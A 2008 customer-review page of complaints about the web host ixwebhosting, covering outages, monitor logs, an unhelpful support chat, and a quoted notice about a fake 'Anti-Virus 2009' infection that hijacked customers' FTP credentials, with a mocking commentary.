ixwebhosting.com is the worst hosting company exist. I have a very simple wordpress blog, and almost 90% of the time I cannot get to my web site. Each time I try to access my site, I get the ‘error establishing database connection’. When I asked them, they said that such problem is difficult to resolve because it’s a shared mysql server, it is possible that other users are abusing their server and it will take them time to find the users who abuse their servers and then they would mark my case as resolved. There tech support is horrible. The livechat is useless and waste of time. I have already send in my request to cancel my account.

GeeJ, 12th 2008f June, 2008

Value for money. Great for starting out but they have a few weaknesses… The email system they use is SLOWWW and un-reliable You need to resolve (= be patient and wait) your own problems. Great for a non- critical site with not too much traffic. For a mission critical site, you will need to fork out more $$$s

cashzzz, 12th 2008f June, 2008

Okay, just letting everyone know that the server is down again. This is really way too much. I think it’s time to move away from ixwebhosting servers. Not reliable. Timestamp Location Result Size Time 2008-06-12 07:52:00 EDT Sydney AUS Error N/A 30.00 2008-06-12 07:52:00 EDT Hong Kong CHN Error N/A 30.00 2008-06-12 07:52:00 EDT Frankfurt DEU Error N/A 30.02 2008-06-12 07:52:00 EDT London GBR Error N/A 30.01 2008-06-12 07:52:00 EDT Oklahoma City USA Error N/A 30.00 2008-06-12 07:52:00 EDT Las Vegas USA Error N/A 30.00 2008-06-12 07:52:00 EDT Chicago USA Error N/A 30.00 2008-06-12 07:52:00 EDT Shanghai CHN Error N/A 30.15

cashzzz, 12th 2008f June, 2008

finally the site is running but is slow. 2008-06-12 05:24:00 EDT Hong Kong CHN OK 76.0 4.65 2008-06-12 05:24:00 EDT Sydney AUS OK 76.0 3.62 2008-06-12 05:24:00 EDT Frankfurt DEU OK 76.1 3.20 2008-06-12 05:24:00 EDT London GBR OK 76.1 1.06 2008-06-12 05:24:00 EDT Las Vegas USA OK 76.1 1.36 2008-06-12 05:24:00 EDT Chicago USA OK 76.1 0.66 2008-06-12 05:23:27 EDT Sydney AUS Error N/A 31.47

cashzzz, 12th 2008f June, 2008

Right now, it is 4:08 Hong Kong time and the server is down again. This is the fourth time and the server is on and off throughout the day. Here is the proof logs. Timestamp Location Result Size Time 2008-06-12 04:06:53 EDT London GBR Error N/A 30.73 2008-06-12 04:06:53 EDT Sydney AUS Error N/A 30.48 2008-06-12 04:06:53 EDT Hong Kong CHN Error N/A 30.50 2008-06-12 04:06:53 EDT Las Vegas USA Error N/A 30.36 2008-06-12 04:06:53 EDT Frankfurt DEU Error N/A 30.26 2008-06-12 04:06:53 EDT Oklahoma City USA Error N/A 30.23 2008-06-12 04:06:53 EDT Chicago USA Error N/A 30.02

cashzzz, 10th 2008f June, 2008

5 hours later.. look what i got again checking the sites. I’m realizing that their claim that their server is never down is false: Timestamp Location Result Size Time 2008-06-10 17:53:59 EDT Sydney AUS Error N/A 30.96 2008-06-10 17:53:59 EDT Hong Kong CHN Error N/A 30.93 2008-06-10 17:53:59 EDT Las Vegas USA Error N/A 30.70 2008-06-10 17:53:59 EDT Frankfurt DEU Error N/A 30.55 2008-06-10 17:53:59 EDT London GBR Error N/A 30.45 2008-06-10 17:53:59 EDT Atlanta USA Error N/A 30.44 2008-06-10 17:53:59 EDT Chicago USA Error N/A 30.15 2008-06-10 17:53:59 EDT Oklahoma City USA Error N/A 30.16

cashzzz, 10th 2008f June, 2008

Okay, I am having webserver issues and the tech support at ixwebhosting was not helpful at all. The server was down and i had proof from 3rd party monitors. Igor Sedov: Hello, my name is Igor, please let me know how can I help you today?you: hello server is down again you: it was down already two times in the last 30 minutes you: http://www.flowers.com.hk or create88 is the account you: Timestamp Location Result Size Time 2008-06-10 12:51:04 EDT Atlanta USA Error N/A 30.08 you: hello? you: the website is also not responding now you: http://www.flowers.com.hk you: Timestamp Location Result Size Time 2008-06-10 12:56:12 EDT Sydney AUS Error N/A 30.49 2008-06-10 12:56:12 EDT Shanghai CHN Error N/A 30.75 2008-06-10 12:56:12 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:56:12 EDT London GBR Error N/A 30.22 2008-06-10 12:56:12 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:56:12 EDT Oklahoma City USA Error N/A 30.11 2008-06-10 12:56:12 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:56:12 EDT Chicago USA Error N/A 30.02 2008-06-10 12:56:12 EDT Hong Kong CHN OK 98.8 27.63 Igor Sedov: Please hold on, let me check you: Timestamp Location Result Size Time 2008-06-10 12:59:05 EDT Sydney AUS OK 98.8 5.65 2008-06-10 12:58:33 EDT Atlanta USA OK 98.8 30.30 you: it might pull up the site but then stall Igor Sedov: I see that your site is working you: it works then stalls you: it’s now on error now you: please try to click on links or check 3rd party monitors you: it’s not working most of the time you: Timestamp Location Result Size Time 2008-06-10 12:59:42 EDT Shanghai CHN Error N/A 33.88 2008-06-10 12:59:42 EDT Sydney AUS Error N/A 30.48 2008-06-10 12:59:42 EDT Hong Kong CHN Error N/A 30.51 2008-06-10 12:59:42 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:59:42 EDT London GBR Error N/A 30.21 2008-06-10 12:59:42 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:59:42 EDT Oklahoma City USA Error N/A 30.15 2008-06-10 12:59:42 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:59:42 EDT Chicago USA Error N/A 30.03 Igor Sedov: How can I reproduce your error? you: you can also check alertra.com and type in flowers.com.hk you: the server is down for all sites you: NOT working now Igor Sedov: I see that your site is working fine and fast. Try to use another browser you: can you try to click on a few links? you: i just got a few monitors telling me it is not working you: what happens it will work for a few seconds then stall you: its been like this for the past hour you: this was sent by another 3rd party monitor half hour ago: Time: 06/11/2008 00:19:53 (GMT+08:00) URL: http://www.flowers.com.hk/hongkong.asp Status: FAILED 4 times since 06/11/2008 00:19:52 Reason: Timeout you: Flowers.hk is now stalling Igor Sedov: Sorry, unfortunately I can’t resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk – ticket center. you: try to click on a few links you: i have sent it already you: can you please contact the tech support and ask what is happening with the server you: it’s stalling now you: please check you: http://www.flowers.hk you: or http://www.flowers.com.hk you: try to click on links you: stalling now you: also you can go on http://www.alertra.com and type in flowers.com.hk you: you will see the error Igor Sedov: Please create the ticket and we resolve your issue as soon as possible. Sorry for possible inconvenience you: i did already you: try now you: it’s stalling you: http://www.alertra.com you: there is SOMETHING WRONG WITH THE SERVER NOW you: I NEED TO GET THE SERVER FIXED you: I HAVE CUSTOMERS WHO HAVE TOLD ME THE SITE IS SLOW Igor Sedov: Please, create the ticket via your helpdesk. (Log in into your account main page —> Click on “24/7 Help Center” at the right at the screen) you: PLEASE FIX IT you: I HAVE SENT THIS ALREADY you: THE SERVER IS NOT FIXED you: CHECK THE SITE AGAIN you: NOT WORKING!!!! you: PLEASE you: IGOR YOU ARE NOT CHECKING THE SITE you: I NEED YOU TO CHECK you: THIS IS GETTING FRUSTRATING you: Here’s now three of the customers emails saying the site is not working Igor Sedov: Sorry for this delay But you need to contact to our administrators via the ticket you: sure i will also add this to webhosting blogs you: this is terrible you: you are not fixing the issue Igor Sedov: First of all let me express the most sincere apologies for such inconvenience you are encountering at the present moment. Sorry but other department will resolve your issue. you: i will add this to a blog site. I feel you are not trying to solve the problem Igor Sedov: Did you create the ticket? you: 30 minutes ago yes..but still the problem is happening

cashzzzathotmail, 08th 2008f June, 2008

I gave ixwebhosting a try. Right now at this moment, the server is down for 3 hours and i am still waiting for someone to fix it. I am told they send an email to their admin but what does that mean? I asked them to contact the tech support but they said they sent an email. I don’t know how much longer the server will be down. I will let everyone know when it is fixed. The server down is ns13.ixwebhosting.com and ns14.ixwebhosting.com.

Net Gear, 05th 2008f June, 2008

IXWH has problems on occasion, like all hosting companies, and I’ll be the first to say I’ve been frustrated a few times. But, much of the complaints I’ve read here are obviously due to user error. I’ve been with them for over 5 years, and my site has been down once. That was when they recently moved their boxes to Ohio. For the money, they’re hard to beat. Put a bunch of salt on the loudest complaints. Especially the one from the idiot ex-employee that had his paycheck screwed-up. That’s hilarious.

Brian, 05th 2008f June, 2008

Where was this site before I stupidly signed up with these yuts. What a horrible mistake. Web site goes down every 3-4 days. Yes, they get it up as soon as I complain, but that is not the point. Their servers are OVERLOADED and crash often!

Sorry_no_good, 05th 2008f June, 2008

I know, I know, for the price you shouldn’t complain. But this service is not that good, even for a basic site. I signed up and in the first night had major trouble. I use PHP emails on most of my sites, and in all cases the PHP mail server was BAD!! It took nearly 48 hours for some emails and many did not arrive at all. They apparently had this problem for months and still did not have it solved. Their Tech Support ticket system took days to respond and that was not good. Their live chat always resulted in them saying something like, “we cannot help you now, please raise a ticket”. Their service center would promise calls from tech support people, and again these would take days to call you. They offer you free months hosting when you complain, but that does not solve the issue. I cancelled within 4 days of hosting with them and moved to Bluehost. Bluehost has been a good option for me though I know others don’t like it, I think it’s a great service.

bob smith, 04th 2008f June, 2008

I worked for this company. The company that hosts is called IXWEBHOSTING. The callcenter for help is called Ecommerce. Located in Hopkinsville KY. They are a bunch of unprofessional screw ups. They lie to the customers and tell them whatever to get them off the phones. I know because I did it. They are also in with a bunch of Ukrainians. Prolly the Russian Mafia or something. Whole thing is shady. Too many people on the servers.. too much traffic. They won’t do crap for you. They mess up the employees checks and crap.. they are ghetto.

gigapixel, 04th 2008f June, 2008

Mail servers again are taking over 24 hours to process mail in. Don’t use them if your rely on prompt email

Jay, 04th 2008f June, 2008

The email is down many times per week at a minimum. This has been going on for about 6 months. They finally said it was the server I was on, and could move me,but my mail would be down (delayed) for up to 48 hours due to DNS propagation (routing). I said: why not just replace or fix the server, since it’s gotta be affecting others. Copy the info, unplu the bad one and plug in the new one. Downtime of minutes maybe?That’s the reason I left my last host (adaptive.net). After 7 or 8 years, they went to heck too. If you rely on your email, as we do in our business, don’t use IXwebhosting.

p_at_c, 01st 2008f June, 2008

oops it is THIS reating site that gave my hosting company a goo uptime rating – sorry it ws webhotingstuff.com that more realistically dropped them……

p_at_c, 01st 2008f June, 2008

Well I have read all the recent reviews and realise that one cannot rely on the ratings of these review sites as the posted reviews are very negative and yet the the company under review is at the top of the ratings list – makes one think………my own hosting company was dropped from this review site owing to 0% uptime over a monitoring period BUT gets a high rating for uptime on another ratings site (sigh)…

26,991 IX Web hosting customers infected

Dear Nicole,

In our ongoing commitment to the security of our customers, we have discovered a vulnerability located within many of our client’s websites, including yours. This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.

We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected.

While your website is now secure, your computer may still be at risk. Here are two easy steps that will detect and remove this malicious software from your computer and make sure your website will not spread the virus again:

1. Uninstall the fake Anti-Virus software by following the instructions at this link:

http://www.bleepingcomputer.com/malware-removal/uninstall-antivirus-2009

2. Once removed, change your FTP password from within your web hosting control panel. Once logged in, click on the FTP Manager icon and then on the icon next to the password to change it.

To illustrate the severity of the issue I would like to share some facts with you:

* 26,991 of our customers have been infected with fake Anti-Virus 2009

* 79,469 websites have been spreading the Anti-Virus 2009 infection

 

* 120,923 malicious files have been removed from our system

We are constantly monitoring our servers for potential threats to your website, and are proud to say that we are among the first web hosts to identify this particular problem, and have been the first to offer a resolution. Your continued and safe presence on the internet is our top priority.

If you have questions regarding any of this information, please contact our support team anytime.

Kind Regards,

Fatima Said, CCO

IX Web Hosting

h**p://www.ixwebhosting.com

 

******************************************************

 

WOW!!!… Let’s break this down..

• In our ongoing commitment to the security of our customers
  Well at least they have a sense of humor
• we have discovered a vulnerability located within many of our client’s websites, including yours.
  Actually us customers dicovered this SIX MONTHS AGO!!
• This is a self replicating virus which is found by visiting well-known search engines
  Hahahaha… so first they blame the customers, now they are blaming all the mayor search engines..
• At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website.
  Yeahhhh, I know exactly what you are thinking!!.. and Yes it is these idiots that are running IX web hosting … If you believe this, you’ll believe anything.
• We have dedicated our systems administration team to finding a solution.
  Yeahh Right, thats like trying to get a lead balloon to fly!! 
• To illustrate the severity of the issue I would like to share some facts with you:

   

      * 26,991 of our customers have been infected with fake Anti-Virus 2009

      * 79,469 websites have been spreading the Anti-Virus 2009 infection

      * 120,923 malicious files have been removed from our system
  What can I say?, 26,991 customers fault.. Ooohh and let’s not forget Google..

   

• We are proud to say that we are among the first web hosts to identify this particular problem
  What this really means, is they are proud of themselves, for being able to bullshit their customers into thinking it’s the customer and Google’s fault.

   

• and have been the first to offer a resolution.
  So these incompetent retards, think that blaming others for their incompetence, and wasting their time by having them download junk, and scan their PC … a Resolution??

• If you have questions regarding any of this information, please contact our support team anytime.
  I think I would rather have someone use my eyeballs  as pin cushions than have to deal with the Notourious IX Web Hosting Support .. thats like tring to wipe your arse with your teeth!!